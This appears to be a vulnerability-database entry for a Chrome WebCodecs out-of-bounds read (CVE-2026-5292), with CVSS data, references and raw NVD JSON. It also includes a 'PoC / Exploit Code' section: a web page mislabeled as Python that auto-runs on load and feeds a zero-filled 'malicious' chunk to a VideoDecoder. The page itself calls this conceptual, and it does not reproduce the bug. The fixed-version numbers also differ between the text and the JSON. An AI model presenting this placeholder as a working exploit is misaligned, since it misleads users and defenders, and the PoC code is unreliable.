CVE-2026-5292

Description

Out of bounds read in WebCodecs in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 146.0.7680.178

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5292 (Conceptual)
This script demonstrates the trigger method using WebCodecs API.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-5292 PoC</title>
</head>
<body>
    <h1>Testing Chrome WebCodecs OOB Read</h1>
    <script>
        async function exploit() {
            try {
                // Configure the VideoDecoder
                const decoder = new VideoDecoder({
                    output: (frame) => console.log("Frame decoded"),
                    error: (e) => console.error("Decoder Error:", e)
                });

                // Target configuration
                const config = {
                    codec: 'avc1.64001E', // Example codec
                    codedWidth: 1920,
                    codedHeight: 1080,
                    optimizeForLatency: true
                };

                decoder.configure(config);

                // Create a malformed chunk to trigger the Out of Bounds Read
                // Real exploitation requires specific bitstream manipulation
                const maliciousData = new Uint8Array(400); // Abnormal size/payload
                // Fill with crafted bytes (simulated)
                for(let i=0; i<maliciousData.length; i++) {
                    maliciousData[i] = 0x00;
                }

                const chunk = new EncodedVideoChunk({
                    type: 'key',
                    timestamp: 0,
                    data: maliciousData
                });

                decoder.decode(chunk);
                console.log("Payload sent. Check memory/crash.");
            } catch (err) {
                console.log("Exception: " + err.message);
            }
        }
        
        // Trigger on load
        window.onload = exploit;
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5292
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5292
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5292/
[4] VulDB https://vuldb.com/cve/CVE-2026-5292
[5] https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html
[6] https://issues.chromium.org/issues/492213293

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5292", "sourceIdentifier": "[email protected]", "published": "2026-04-01T05:16:02.853", "lastModified": "2026-04-01T17:07:20.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in WebCodecs in Google Chrome prior to 146.0.7680.178 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.177", "matchCriteriaId": "55B0324F-7911-403B-8235-D71996B55DFB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_31.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/492213293", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}